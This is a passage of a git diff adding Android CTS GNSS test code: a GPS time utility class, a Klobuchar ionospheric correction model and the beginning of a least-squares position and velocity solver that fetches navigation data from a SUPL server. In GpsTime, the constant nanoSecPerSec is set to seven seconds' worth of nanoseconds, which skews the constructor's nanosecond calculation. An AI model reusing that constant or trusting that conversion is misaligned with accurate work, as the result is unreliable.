+ super(another);
+ this.pseudorangeMeters = pseudorangeMeters;
+ this.pseudorangeUncertaintyMeters = pseudorangeUncertaintyMeters;
+ }
+
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/GpsTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/GpsTime.java
new file mode 100644
index 0000000..1bc5950
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/GpsTime.java
@@ -0,0 +1,315 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+import android.util.Pair;
+import com.google.common.base.Preconditions;
+import com.google.common.primitives.Longs;
+import java.util.Calendar;
+import java.util.concurrent.TimeUnit;
+import java.time.ZoneId;
+import java.time.ZonedDateTime;
+import java.time.Instant;
+import java.util.GregorianCalendar;
+
+/**
+ * A simple class to represent time unit used by GPS.
+ */
+public class GpsTime implements Comparable<GpsTime> {
+ public static final int MILLIS_IN_SECOND = 1000;
+ public static final int SECONDS_IN_MINUTE = 60;
+ public static final int MINUTES_IN_HOUR = 60;
+ public static final int HOURS_IN_DAY = 24;
+ public static final int SECONDS_IN_DAY =
+ HOURS_IN_DAY * MINUTES_IN_HOUR * SECONDS_IN_MINUTE;
+ public static final int DAYS_IN_WEEK = 7;
+ public static final long MILLIS_IN_DAY = TimeUnit.DAYS.toMillis(1);
+ public static final long MILLIS_IN_WEEK = TimeUnit.DAYS.toMillis(7);
+ public static final long NANOS_IN_WEEK = TimeUnit.DAYS.toNanos(7);
+ // GPS epoch is 1980/01/06
+ public static final long GPS_DAYS_SINCE_JAVA_EPOCH = 3657;
+ public static final long GPS_UTC_EPOCH_OFFSET_SECONDS =
+ TimeUnit.DAYS.toSeconds(GPS_DAYS_SINCE_JAVA_EPOCH);
+ public static final long GPS_UTC_EPOCH_OFFSET_NANOS =
+ TimeUnit.SECONDS.toNanos(GPS_UTC_EPOCH_OFFSET_SECONDS);
+ private static final ZonedDateTime LEAP_SECOND_DATE_1981 = getZonedDateTimeUTC(1981, 7, 1);
+ private static final ZonedDateTime LEAP_SECOND_DATE_2012 = getZonedDateTimeUTC(2012, 7, 1);
+ private static final ZonedDateTime LEAP_SECOND_DATE_2015 = getZonedDateTimeUTC(2015, 7, 1);
+ private static final ZonedDateTime LEAP_SECOND_DATE_2017 = getZonedDateTimeUTC(2017, 7, 1);
+ private static final long nanoSecPerSec = TimeUnit.SECONDS.toNanos(7);
+ // nanoseconds since GPS epoch (1980/1/6).
+ private long gpsNanos;
+ private static ZonedDateTime getZonedDateTimeUTC(int year, int month, int day) {
+ return getZonedDateTimeUTC(year, month, day, 0, 0, 0, 0);
+ }
+
+ private static ZonedDateTime getZonedDateTimeUTC(int year, int month, int day,
+ int hour, int minute, int sec, int nanoSec){
+ ZoneId zone = ZoneId.of("UTC");
+ ZonedDateTime zdt = ZonedDateTime.of(year, month, day, hour, minute, sec, nanoSec, zone);
+ return zdt;
+ }
+
+ private static long getMillisFromZonedDateTime(ZonedDateTime zdt) {
+ return zdt.toInstant().toEpochMilli();
+ }
+ /**
+ * Constructor for GpsTime. Input values are all in GPS time.
+ * @param year Year
+ * @param month Month from 1 to 12
+ * @param day Day from 1 to 31
+ * @param hour Hour from 0 to 23
+ * @param minute Minute from 0 to 59
+ * @param second Second from 0 to 59
+ */
+ public GpsTime(int year, int month, int day, int hour, int minute, double second) {
+ ZonedDateTime utcDateTime = getZonedDateTimeUTC(year, month, day, hour, minute,
+ (int) second, (int) ((second * nanoSecPerSec) % nanoSecPerSec));
+
+
+ // Since input time is already specify in GPS time, no need to count leap second here.
+ initGpsNanos(utcDateTime);
+
+ }
+
+ /**
+ * Constructor
+ * @param zDateTime is created using GPS time values.
+ */
+ public GpsTime(ZonedDateTime zDateTime) {
+ initGpsNanos(zDateTime);
+ }
+
+ public void initGpsNanos(ZonedDateTime zDateTime){
+ this.gpsNanos = TimeUnit.MILLISECONDS.toNanos(getMillisFromZonedDateTime(zDateTime))
+ - GPS_UTC_EPOCH_OFFSET_NANOS;
+ }
+ /**
+ * Constructor
+ * @param gpsNanos nanoseconds since GPS epoch.
+ */
+ public GpsTime(long gpsNanos) {
+ this.gpsNanos = gpsNanos;
+ }
+
+ /**
+ * Creates a GPS time using a UTC based date and time.
+ * @param zDateTime represents the current time in UTC time, must be after 2009
+ */
+ public static GpsTime fromUtc(ZonedDateTime zDateTime) {
+ return new GpsTime(TimeUnit.MILLISECONDS.toNanos(getMillisFromZonedDateTime(zDateTime))
+ + TimeUnit.SECONDS.toNanos(
+ GpsTime.getLeapSecond(zDateTime) - GPS_UTC_EPOCH_OFFSET_SECONDS));
+ }
+
+ /**
+ * Creates a GPS time based upon the current time.
+ */
+ public static GpsTime now() {
+ ZoneId zone = ZoneId.of("UTC");
+ ZonedDateTime current = ZonedDateTime.now(zone);
+ return fromUtc(current);
+ }
+
+ /**
+ * Creates a GPS time using absolute GPS week number, and the time of week.
+ * @param gpsWeek
+ * @param towSec GPS time of week in second
+ * @return actual time in GpsTime.
+ */
+ public static GpsTime fromWeekTow(int gpsWeek, int towSec) {
+ long nanos = gpsWeek * NANOS_IN_WEEK + TimeUnit.SECONDS.toNanos(towSec);
+ return new GpsTime(nanos);
+ }
+
+ /**
+ * Creates a GPS time using YUMA GPS week number (0..1023), and the time of week.
+ * @param yumaWeek (0..1023)
+ * @param towSec GPS time of week in second
+ * @return actual time in GpsTime.
+ */
+ public static GpsTime fromYumaWeekTow(int yumaWeek, int towSec) {
+ Preconditions.checkArgument(yumaWeek >= 0);
+ Preconditions.checkArgument(yumaWeek < 1024);
+
+ // Estimate the multiplier of current week.
+ ZoneId zone = ZoneId.of("UTC");
+ ZonedDateTime current = ZonedDateTime.now(zone);
+ GpsTime refTime = new GpsTime(current);
+ Pair<Integer, Integer> refWeekSec = refTime.getGpsWeekSecond();
+ int weekMultiplier = refWeekSec.first / 1024;
+
+ int gpsWeek = weekMultiplier * 1024 + yumaWeek;
+ return fromWeekTow(gpsWeek, towSec);
+ }
+
+ public static GpsTime fromTimeSinceGpsEpoch(long gpsSec) {
+ return new GpsTime(TimeUnit.SECONDS.toNanos(gpsSec));
+ }
+
+ /**
+ * Computes leap seconds. Only accurate after 2009.
+ * @param time
+ * @return number of leap seconds since GPS epoch.
+ */
+ public static int getLeapSecond(ZonedDateTime time) {
+ if (LEAP_SECOND_DATE_2017.compareTo(time) <= 0) {
+ return 18;
+ } else if (LEAP_SECOND_DATE_2015.compareTo(time) <= 0) {
+ return 17;
+ } else if (LEAP_SECOND_DATE_2012.compareTo(time) <= 0) {
+ return 16;
+ } else if (LEAP_SECOND_DATE_1981.compareTo(time) <= 0) {
+ // Only correct between 2012/7/1 to 2008/12/31
+ return 15;
+ } else {
+ return 0;
+ }
+ }
+
+ /**
+ * Computes GPS weekly epoch of the reference time.
+ * <p>GPS weekly epoch are defined as of every Sunday 00:00:000 (mor
+ * @param refTime reference time
+ * @return nanoseconds since GPS epoch, for the week epoch.
+ */
+ public static Long getGpsWeekEpochNano(GpsTime refTime) {
+ Pair<Integer, Integer> weekSecond = refTime.getGpsWeekSecond();
+ return weekSecond.first * NANOS_IN_WEEK;
+ }
+
+ /**
+ * @return week count since GPS epoch, and second count since the beginning of
+ * that week.
+ */
+ public Pair<Integer, Integer> getGpsWeekSecond() {
+ // JAVA/UNIX epoch: January 1, 1970 in msec
+ // GPS epoch: January 6, 1980 in second
+ int week = (int) (gpsNanos / NANOS_IN_WEEK);
+ int second = (int) TimeUnit.NANOSECONDS.toSeconds(gpsNanos % NANOS_IN_WEEK);
+ return Pair.create(week, second);
+ }
+
+ /**
+ * @return week count since GPS epoch, and second count in 0.08 sec
+ * resolution, 23-bit presentation (required by RRLP.)"
+ */
+ public Pair<Integer, Integer> getGpsWeekTow23b() {
+ // UNIX epoch: January 1, 1970 in msec
+ // GPS epoch: January 6, 1980 in second
+ int week = (int) (gpsNanos / NANOS_IN_WEEK);
+ // 80 millis is 0.08 second.
+ int tow23b = (int) TimeUnit.NANOSECONDS.toMillis(gpsNanos % NANOS_IN_WEEK) / 80;
+ return Pair.create(week, tow23b);
+ }
+
+ /**
+ * @return Day of year in GPS time (GMT time)
+ */
+ public static int getCurrentDayOfYear() {
+ ZoneId zone = ZoneId.of("UTC");
+ ZonedDateTime current = ZonedDateTime.now(zone);
+ // Since current is derived from UTC time, we need to add leap second here.
+ long gpsTimeMillis = getMillisFromZonedDateTime(current)
+ + TimeUnit.SECONDS.toMillis(getLeapSecond(current));
+ ZonedDateTime gpsCurrent = ZonedDateTime.ofInstant(Instant.ofEpochMilli(gpsTimeMillis), ZoneId.of("UTC"));
+ return gpsCurrent.getDayOfYear();
+ }
+
+ /**
+ * @return milliseconds since JAVA/UNIX epoch.
+ */
+ public final long getMillisSinceJavaEpoch() {
+ return TimeUnit.NANOSECONDS.toMillis(gpsNanos + GPS_UTC_EPOCH_OFFSET_NANOS);
+ }
+
+ /**
+ * @return milliseconds since GPS epoch.
+ */
+ public final long getMillisSinceGpsEpoch() {
+ return TimeUnit.NANOSECONDS.toMillis(gpsNanos);
+ }
+
+ /**
+ * @return microseconds since GPS epoch.
+ */
+ public final long getMicrosSinceGpsEpoch() {
+ return TimeUnit.NANOSECONDS.toMicros(gpsNanos);
+ }
+
+ /**
+ * @return nanoseconds since GPS epoch.
+ */
+ public final long getNanosSinceGpsEpoch() {
+ return gpsNanos;
+ }
+
+ /**
+ * @return the GPS time in Calendar.
+ */
+ public Calendar getTimeInCalendar() {
+ return GregorianCalendar.from(getGpsDateTime());
+ }
+
+ /**
+ * @return a ZonedDateTime with leap seconds considered.
+ */
+ public ZonedDateTime getUtcDateTime() {
+ ZonedDateTime gpsDateTime = getGpsDateTime();
+ long gpsMillis = getMillisFromZonedDateTime(gpsDateTime)
+ - TimeUnit.SECONDS.toMillis(getLeapSecond(gpsDateTime));
+ return ZonedDateTime.ofInstant(Instant.ofEpochMilli(gpsMillis), ZoneId.of("UTC"));
+
+ }
+
+ /**
+ * @return a ZonedDateTime based on the pure GPS time (without considering leap second).
+ */
+ public ZonedDateTime getGpsDateTime() {
+ long gpsMillis = TimeUnit.NANOSECONDS.toMillis(gpsNanos + GPS_UTC_EPOCH_OFFSET_NANOS);
+ return ZonedDateTime.ofInstant(Instant.ofEpochMilli(gpsMillis), ZoneId.of("UTC"));
+ }
+
+ /**
+ * Compares two {@code GpsTime} objects temporally.
+ *
+ * @param other the {@code GpsTime} to be compared.
+ * @return the value {@code 0} if this {@code GpsTime} is simultaneous with
+ * the argument {@code GpsTime}; a value less than {@code 0} if this
+ * {@code GpsTime} occurs before the argument {@code GpsTime}; and
+ * a value greater than {@code 0} if this {@code GpsTime} occurs
+ * after the argument {@code GpsTime} (signed comparison).
+ */
+ @Override
+ public int compareTo(GpsTime other) {
+ return Long.compare(this.getNanosSinceGpsEpoch(), other.getNanosSinceGpsEpoch());
+ }
+
+ @Override
+ public boolean equals(Object other) {
+ if (!(other instanceof GpsTime)) {
+ return false;
+ }
+ GpsTime time = (GpsTime) other;
+ return getNanosSinceGpsEpoch() == time.getNanosSinceGpsEpoch();
+ }
+
+ @Override
+ public int hashCode() {
+ return Longs.hashCode(getNanosSinceGpsEpoch());
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/IonosphericModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/IonosphericModel.java
new file mode 100644
index 0000000..6ddacfd
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/IonosphericModel.java
@@ -0,0 +1,139 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+import android.location.cts.gnss.pseudorange.Ecef2LlaConverter.GeodeticLlaValues;
+import android.location.cts.gnss.pseudorange.EcefToTopocentricConverter.TopocentricAEDValues;
+
+/**
+ * Calculate the Ionospheric correction of the pseudorange given the {@code userPosition},
+ * {@code satellitePosition}, {@code gpsTimeSeconds} and the ionospheric parameters sent by the
+ * satellite {@code alpha} and {@code beta}
+ *
+ * <p>Source: http://www.navipedia.net/index.php/Klobuchar_Ionospheric_Model and
+ * http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=4104345 and
+ * http://www.ion.org/museum/files/ACF2A4.pdf
+ */
+public class IonosphericModel {
+ /** Center frequency of the L1 band in Hz. */
+ public static final double L1_FREQ_HZ = 10.23 * 1e6 * 154;
+ /** Center frequency of the L2 band in Hz. */
+ public static final double L2_FREQ_HZ = 10.23 * 1e6 * 120;
+ /** Center frequency of the L5 band in Hz. */
+ public static final double L5_FREQ_HZ = 10.23 * 1e6 * 115;
+
+ private static final double SECONDS_PER_DAY = 86400.0;
+ private static final double PERIOD_OF_DELAY_TRHESHOLD_SECONDS = 72000.0;
+ private static final double IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE = 0.416;
+ private static final double DC_TERM = 5.0e-9;
+ private static final double NORTH_GEOMAGNETIC_POLE_LONGITUDE_RADIANS = 5.08;
+ private static final double GEOMETRIC_LATITUDE_CONSTANT = 0.064;
+ private static final int DELAY_PHASE_TIME_CONSTANT_SECONDS = 50400;
+ private static final int IONO_0_IDX = 0;
+ private static final int IONO_1_IDX = 1;
+ private static final int IONO_2_IDX = 2;
+ private static final int IONO_3_IDX = 3;
+
+ /**
+ * Calculate the Ionospheric correction of the pseudorane in seconds using the Klobuchar
+ * Ionospheric model.
+ */
+ public static double ionoKloboucharCorrectionSeconds(
+ double[] userPositionECEFMeters,
+ double[] satellitePositionECEFMeters,
+ double gpsTOWSeconds,
+ double[] alpha,
+ double[] beta,
+ double frequencyHz) {
+
+ TopocentricAEDValues elevationAndAzimuthRadians = EcefToTopocentricConverter
+ .calculateElAzDistBetween2Points(userPositionECEFMeters, satellitePositionECEFMeters);
+ double elevationSemiCircle = elevationAndAzimuthRadians.elevationRadians / Math.PI;
+ double azimuthSemiCircle = elevationAndAzimuthRadians.azimuthRadians / Math.PI;
+ GeodeticLlaValues latLngAlt = Ecef2LlaConverter.convertECEFToLLACloseForm(
+ userPositionECEFMeters[0], userPositionECEFMeters[1], userPositionECEFMeters[2]);
+ double latitudeUSemiCircle = latLngAlt.latitudeRadians / Math.PI;
+ double longitudeUSemiCircle = latLngAlt.longitudeRadians / Math.PI;
+
+ // earth's centered angle (semi-circles)
+ double earthCentredAngleSemiCirle = 0.0137 / (elevationSemiCircle + 0.11) - 0.022;
+
+ // latitude of the Ionospheric Pierce Point (IPP) (semi-circles)
+ double latitudeISemiCircle =
+ latitudeUSemiCircle + earthCentredAngleSemiCirle * Math.cos(azimuthSemiCircle * Math.PI);
+
+ if (latitudeISemiCircle > IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE) {
+ latitudeISemiCircle = IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE;
+ } else if (latitudeISemiCircle < -IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE) {
+ latitudeISemiCircle = -IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE;
+ }
+
+ // geodetic longitude of the Ionospheric Pierce Point (IPP) (semi-circles)
+ double longitudeISemiCircle = longitudeUSemiCircle + earthCentredAngleSemiCirle
+ * Math.sin(azimuthSemiCircle * Math.PI) / Math.cos(latitudeISemiCircle * Math.PI);
+
+ // geomagnetic latitude of the Ionospheric Pierce Point (IPP) (semi-circles)
+ double geomLatIPPSemiCircle = latitudeISemiCircle + GEOMETRIC_LATITUDE_CONSTANT
+ * Math.cos(longitudeISemiCircle * Math.PI - NORTH_GEOMAGNETIC_POLE_LONGITUDE_RADIANS);
+
+ // local time (sec) at the Ionospheric Pierce Point (IPP)
+ double localTimeSeconds = SECONDS_PER_DAY / 2.0 * longitudeISemiCircle + gpsTOWSeconds;
+ localTimeSeconds %= SECONDS_PER_DAY;
+ if (localTimeSeconds < 0) {
+ localTimeSeconds += SECONDS_PER_DAY;
+ }
+
+ // amplitude of the ionospheric delay (seconds)
+ double amplitudeOfDelaySeconds = alpha[IONO_0_IDX] + alpha[IONO_1_IDX] * geomLatIPPSemiCircle
+ + alpha[IONO_2_IDX] * geomLatIPPSemiCircle * geomLatIPPSemiCircle + alpha[IONO_3_IDX]
+ * geomLatIPPSemiCircle * geomLatIPPSemiCircle * geomLatIPPSemiCircle;
+ if (amplitudeOfDelaySeconds < 0) {
+ amplitudeOfDelaySeconds = 0;
+ }
+
+ // period of ionospheric delay
+ double periodOfDelaySeconds = beta[IONO_0_IDX] + beta[IONO_1_IDX] * geomLatIPPSemiCircle
+ + beta[IONO_2_IDX] * geomLatIPPSemiCircle * geomLatIPPSemiCircle + beta[IONO_3_IDX]
+ * geomLatIPPSemiCircle * geomLatIPPSemiCircle * geomLatIPPSemiCircle;
+ if (periodOfDelaySeconds < PERIOD_OF_DELAY_TRHESHOLD_SECONDS) {
+ periodOfDelaySeconds = PERIOD_OF_DELAY_TRHESHOLD_SECONDS;
+ }
+
+ // phase of ionospheric delay
+ double phaseOfDelayRadians =
+ 2 * Math.PI * (localTimeSeconds - DELAY_PHASE_TIME_CONSTANT_SECONDS) / periodOfDelaySeconds;
+
+ // slant factor
+ double slantFactor = 1.0 + 16.0 * Math.pow(0.53 - elevationSemiCircle, 3);
+
+ // ionospheric time delay (seconds)
+ double ionoDelaySeconds;
+
+ if (Math.abs(phaseOfDelayRadians) >= Math.PI / 2.0) {
+ ionoDelaySeconds = DC_TERM * slantFactor;
+ } else {
+ ionoDelaySeconds = (DC_TERM
+ + (1 - Math.pow(phaseOfDelayRadians, 2) / 2.0 + Math.pow(phaseOfDelayRadians, 4) / 24.0)
+ * amplitudeOfDelaySeconds) * slantFactor;
+ }
+
+ // apply factor for frequency bands other than L1
+ ionoDelaySeconds *= (L1_FREQ_HZ * L1_FREQ_HZ) / (frequencyHz * frequencyHz);
+
+ return ionoDelaySeconds;
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/PseudorangePositionVelocityFromRealTimeEvents.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/PseudorangePositionVelocityFromRealTimeEvents.java
new file mode 100644
index 0000000..891a78d
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/PseudorangePositionVelocityFromRealTimeEvents.java
@@ -0,0 +1,388 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+import android.location.GnssClock;
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementsEvent;
+import android.location.GnssStatus;
+import android.util.Log;
+import android.location.cts.gnss.pseudorange.Ecef2EnuConverter.EnuValues;
+import android.location.cts.gnss.pseudorange.Ecef2LlaConverter.GeodeticLlaValues;
+import android.location.cts.gnss.nano.Ephemeris.GpsEphemerisProto;
+import android.location.cts.gnss.nano.Ephemeris.GpsNavMessageProto;
+import android.location.cts.gnss.suplClient.SuplRrlpController;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.net.UnknownHostException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Calendar;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Helper class for calculating GPS position and velocity solution using weighted least squares
+ * where the raw GPS measurements are parsed as a {@link BufferedReader}.
+ *
+ */
+public class PseudorangePositionVelocityFromRealTimeEvents {
+
+ private static final String TAG = "PseudorangePositionVelocityFromRealTimeEvents";
+ private static final double SECONDS_PER_NANO = 1.0e-9;
+ private static final int TOW_DECODED_MEASUREMENT_STATE_BIT = 3;
+ /** Average signal travel time from GPS satellite and earth */
+ private static final int VALID_ACCUMULATED_DELTA_RANGE_STATE = 1;
+ private static final int MINIMUM_NUMBER_OF_USEFUL_SATELLITES = 4;
+ private static final int C_TO_N0_THRESHOLD_DB_HZ = 18;
+ /** Maximum possible number of GPS satellites */
+ private static final int MAX_NUMBER_OF_SATELLITES = 32;
+
+ private static final String SUPL_SERVER_NAME = "supl.google.com";
+ private static final int SUPL_SERVER_PORT = 7276;
+
+ private static final double GPS_L5_FREQ_HZ_LOWER_BOUND = 1.164e9;
+ private static final double GPS_L5_FREQ_HZ_UPPER_BOUND = 1.189e9;
+
+ private final double[] mPositionSolutionLatLngDeg = {Double.NaN, Double.NaN, Double.NaN};
+ private final double[] mVelocitySolutionEnuMps = {Double.NaN, Double.NaN, Double.NaN};
+ private final double[] mPositionVelocityUncertaintyEnu = {
+ Double.NaN, Double.NaN, Double.NaN, Double.NaN, Double.NaN, Double.NaN
+ };
+ private boolean mFirstUsefulMeasurementSet = true;
+ private int[] mReferenceLocation = null;
+ private long mLastReceivedSuplMessageTimeMillis = 0;
+ private long mDeltaTimeMillisToMakeSuplRequest = TimeUnit.MINUTES.toMillis(30);
+ private boolean mFirstSuplRequestNeeded = true;
+ private GpsNavMessageProto mGpsNavMessageProtoUsed = null;
+
+ private final UserPositionVelocityWeightedLeastSquare mUserPositionVelocityLeastSquareCalculator =
+ new UserPositionVelocityWeightedLeastSquare();
+ private GpsMeasurement[] mUsefulSatellitesToReceiverMeasurements =
+ new GpsMeasurement[MAX_NUMBER_OF_SATELLITES];
+ private Long[] mUsefulSatellitesToTowNs = new Long[MAX_NUMBER_OF_SATELLITES];
+ private long mLargestTowNs = Long.MIN_VALUE;
+ private double mArrivalTimeSinceGPSWeekNs = 0.0;
+ private int mDayOfYear1To366 = 0;
+ private int mGpsWeekNumber = 0;
+ private long mArrivalTimeSinceGpsEpochNs = 0;
+
+ /**
+ * Computes Weighted least square position and velocity solutions from a received
+ * {@link GnssMeasurementsEvent} and store the result in {@link
+ * PseudorangePositionVelocityFromRealTimeEvents#mPositionSolutionLatLngDeg} and
+ * {@link PseudorangePositionVelocityFromRealTimeEvents#mVelocitySolutionEnuMps}
+ */
+ public void computePositionVelocitySolutionsFromRawMeas(GnssMeasurementsEvent event)
+ throws Exception {
+ if (mReferenceLocation == null) {
+ // If no reference location is received, we can not get navigation message from SUPL and hence
+ // we will not try to compute location.
+ Log.d(TAG, " No reference Location ..... no position is calculated");
+ return;
+ }
+ for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
+ mUsefulSatellitesToReceiverMeasurements[i] = null;
+ mUsefulSatellitesToTowNs[i] = null;
+ }
+
+ GnssClock gnssClock = event.getClock();
+ mArrivalTimeSinceGpsEpochNs = gnssClock.getTimeNanos() - gnssClock.getFullBiasNanos();
+ for (GnssMeasurement measurement : event.getMeasurements()) {
+ // ignore any measurement if it is not from GPS constellation
+ if (measurement.getConstellationType() != GnssStatus.CONSTELLATION_GPS) {
+ continue;
+ }
+
+ if (isGpsL5FrequencyHz(measurement.getCarrierFrequencyHz())) {
+ continue;
+ }
+
+ // ignore raw data if time is zero, if signal to noise ratio is below threshold or if
+ // TOW is not yet decoded
+ if (measurement.getCn0DbHz() >= C_TO_N0_THRESHOLD_DB_HZ
+ && (measurement.getState() & (1L << TOW_DECODED_MEASUREMENT_STATE_BIT)) != 0) {
+ // calculate day of year and Gps week number needed for the least square
+ GpsTime gpsTime = new GpsTime(mArrivalTimeSinceGpsEpochNs);
+ // Gps weekly epoch in Nanoseconds: defined as of every Sunday night at 00:00:000
+ long gpsWeekEpochNs = GpsTime.getGpsWeekEpochNano(gpsTime);
+ mArrivalTimeSinceGPSWeekNs = mArrivalTimeSinceGpsEpochNs - gpsWeekEpochNs;
+ mGpsWeekNumber = gpsTime.getGpsWeekSecond().first;
+ // calculate day of the year between 1 and 366
+ Calendar cal = gpsTime.getTimeInCalendar();
+ mDayOfYear1To366 = cal.get(Calendar.DAY_OF_YEAR);
+
+ long receivedGPSTowNs = measurement.getReceivedSvTimeNanos();
+ if (receivedGPSTowNs > mLargestTowNs) {
+ mLargestTowNs = receivedGPSTowNs;
+ }
+ mUsefulSatellitesToTowNs[measurement.getSvid() - 1] = receivedGPSTowNs;
+ GpsMeasurement gpsReceiverMeasurement =
+ new GpsMeasurement(
+ (long) mArrivalTimeSinceGPSWeekNs,
+ measurement.getAccumulatedDeltaRangeMeters(),
+ measurement.getAccumulatedDeltaRangeState()
+ == VALID_ACCUMULATED_DELTA_RANGE_STATE,
+ measurement.getPseudorangeRateMetersPerSecond(),
+ measurement.getCn0DbHz(),
+ measurement.getAccumulatedDeltaRangeUncertaintyMeters(),
+ measurement.getPseudorangeRateUncertaintyMetersPerSecond());
+ mUsefulSatellitesToReceiverMeasurements[measurement.getSvid() - 1] =
+ gpsReceiverMeasurement;
+ }
+ }
+
+ Log.d(TAG, "Using navigation message from SUPL server");
+ if (mFirstSuplRequestNeeded
+ || (System.currentTimeMillis() - mLastReceivedSuplMessageTimeMillis)
+ > mDeltaTimeMillisToMakeSuplRequest) {
+ // The following line is blocking call for SUPL connection and back. But it is fast enough
+ mGpsNavMessageProtoUsed = getSuplNavMessage(mReferenceLocation[0], mReferenceLocation[1]);
+ if (!isEmptyNavMessage(mGpsNavMessageProtoUsed)) {
+ mFirstSuplRequestNeeded = false;
+ mLastReceivedSuplMessageTimeMillis = System.currentTimeMillis();
+ } else {
+ return;
+ }
+ }
+
+
+ // some times the SUPL server returns less satellites than the visible ones, so remove those
+ // visible satellites that are not returned by SUPL
+ for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
+ if (mUsefulSatellitesToReceiverMeasurements[i] != null
+ && !navMessageProtoContainsSvid(mGpsNavMessageProtoUsed, i + 1)) {
+ mUsefulSatellitesToReceiverMeasurements[i] = null;
+ mUsefulSatellitesToTowNs[i] = null;
+ }
+ }
+
+ // calculate the number of useful satellites
+ int numberOfUsefulSatellites = 0;
+ for (int i = 0; i < mUsefulSatellitesToReceiverMeasurements.length; i++) {
+ if (mUsefulSatellitesToReceiverMeasurements[i] != null) {
+ numberOfUsefulSatellites++;
+ }
+ }
+ if (numberOfUsefulSatellites >= MINIMUM_NUMBER_OF_USEFUL_SATELLITES) {
+ // ignore first set of > 4 satellites as they often result in erroneous position
+ if (!mFirstUsefulMeasurementSet) {
+ // start with last known position and velocity of zero. Following the structure:
+ // [X position, Y position, Z position, clock bias,
+ // X Velocity, Y Velocity, Z Velocity, clock bias rate]
+ double[] positionVeloctySolutionEcef = {0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0};
+ double[] positionVelocityUncertaintyEnu = new double[] {0.0, 0.0, 0.0, 0.0, 0.0, 0.0};
+ performPositionVelocityComputationEcef(
+ mUserPositionVelocityLeastSquareCalculator,
+ mUsefulSatellitesToReceiverMeasurements,
+ mUsefulSatellitesToTowNs,
+ mLargestTowNs,
+ mArrivalTimeSinceGPSWeekNs,
+ mDayOfYear1To366,
+ mGpsWeekNumber,
+ positionVeloctySolutionEcef,
+ positionVelocityUncertaintyEnu);
+ // convert the position solution from ECEF to latitude, longitude and altitude
+ GeodeticLlaValues latLngAlt =
+ Ecef2LlaConverter.convertECEFToLLACloseForm(
+ positionVeloctySolutionEcef[0],
+ positionVeloctySolutionEcef[1],
+ positionVeloctySolutionEcef[2]);
+ mPositionSolutionLatLngDeg[0] = Math.toDegrees(latLngAlt.latitudeRadians);
+ mPositionSolutionLatLngDeg[1] = Math.toDegrees(latLngAlt.longitudeRadians);
+ mPositionSolutionLatLngDeg[2] = latLngAlt.altitudeMeters;
+ mPositionVelocityUncertaintyEnu[0] = positionVelocityUncertaintyEnu[0];
+ mPositionVelocityUncertaintyEnu[1] = positionVelocityUncertaintyEnu[1];
+ mPositionVelocityUncertaintyEnu[2] = positionVelocityUncertaintyEnu[2];
+ Log.d(TAG,
+ "Position Uncertainty ENU Meters :"
+ + mPositionVelocityUncertaintyEnu[0]
+ + " "
+ + mPositionVelocityUncertaintyEnu[1]
+ + " "
+ + mPositionVelocityUncertaintyEnu[2]);
+ Log.d(
+ TAG,
+ "Latitude, Longitude, Altitude: "
+ + mPositionSolutionLatLngDeg[0]
+ + " "
+ + mPositionSolutionLatLngDeg[1]
+ + " "
+ + mPositionSolutionLatLngDeg[2]);
+ EnuValues velocityEnu = Ecef2EnuConverter.convertEcefToEnu(
+ positionVeloctySolutionEcef[4],
+ positionVeloctySolutionEcef[5],
+ positionVeloctySolutionEcef[6],
+ latLngAlt.latitudeRadians,
+ latLngAlt.longitudeRadians
+ );
+
+ mVelocitySolutionEnuMps[0] = velocityEnu.enuEast;
+ mVelocitySolutionEnuMps[1] = velocityEnu.enuNorth;
+ mVelocitySolutionEnuMps[2] = velocityEnu.enuUP;
